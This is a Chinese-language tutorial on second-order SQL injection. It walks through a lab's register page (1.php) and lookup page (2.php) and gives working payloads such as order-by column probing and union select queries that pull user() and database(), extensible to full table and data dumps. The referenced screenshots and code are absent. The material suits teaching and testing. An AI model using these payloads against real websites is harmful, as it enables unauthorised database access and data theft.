二次注入:攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
1.php的功能是注册用户,也是插入SQL恶意数据的地方。
2.php的功能是通过参数ID读取用户名和用户信息。在这里恶意数据被读取并进入SQL查询语句。
1)判断数据库表有几个字段
(1)访问URL:http://www.tianchi.com/web/erci/1.php?username=test'
得到id=4,接着访问URL:http://www.tianchi.com/web/erci/2.php?id=4,
可以看到返回了Mysql错误,结果如下:
(2)访问URL:http://www.tianchi.com/web/erci/1.php?username=test' order by 1%23
得到id=5,接着访问URL:http://www.tianchi.com/web/erci/2.php?id=5,可以看到返回了空白。
访问URL:http://www.tianchi.com/web/erci/1.php?username=test' order by 3%23
得到id=7,接着访问URL:http://www.tianchi.com/web/erci/2.php?id=7,
可以看到返回了错误信息(Unknown column '3' in 'order clause'),如下所示:
这说明空白页面就是正常结果,不断的测试后发现,这个数据库表有2个字段。
2)获取user()的值
URL:http://www.tianchi.com/web/erci/1.php?username=test' union select 1,2%23
得到id=8,接着访问URL:http://www.tianchi.com/web/erci/2.php?id=8,
可以看到页面返回了union select中的1和2字段,如下所示:
在1或者2位置,插入查询语句,如得到user()的值可以使用如下链接:
URL:http://www.tianchi.com/web/erci/1.php?username=test' union select 1,user()%23
得到id=9,接着访问URL:http://www.tianchi.com/web/erci/2.php?id=9,得到user()的结果如下所示:
3)获取数据库库名
获取当前数据库库名,把2位置替换成database():
URL:http://www.tianchi.com/web/erci/1.php?username=test' union select 1,database()%23
URL:http://www.tianchi.com/web/erci/2.php?id=11
像这样,构造不同的union注入语句,就可以得到完整的数据库库名,表名,字段名和具体数据。
1.php的代码如下,程序获得GET参数username和password,然后将username使用addslashes转义和password使用md5加密之后拼接到SQL语句,使用insert插入数据库。此处不存在SQL注入漏洞。但是可以利用此特性,把SQL恶意语句插入到数据库users表中username位置,以便在2.php中实现二次注入。
2.php的代码如下,我们正是在这里实现二次注入的,通过intval()把参数ID转换为int类型,这样可以防止拼接到SQL语句时,存在SQL注入漏洞。首先在users表中查询此id对应的username值(恶意语句),之后到information表中查询此username值(恶意语句)对应的其他数据。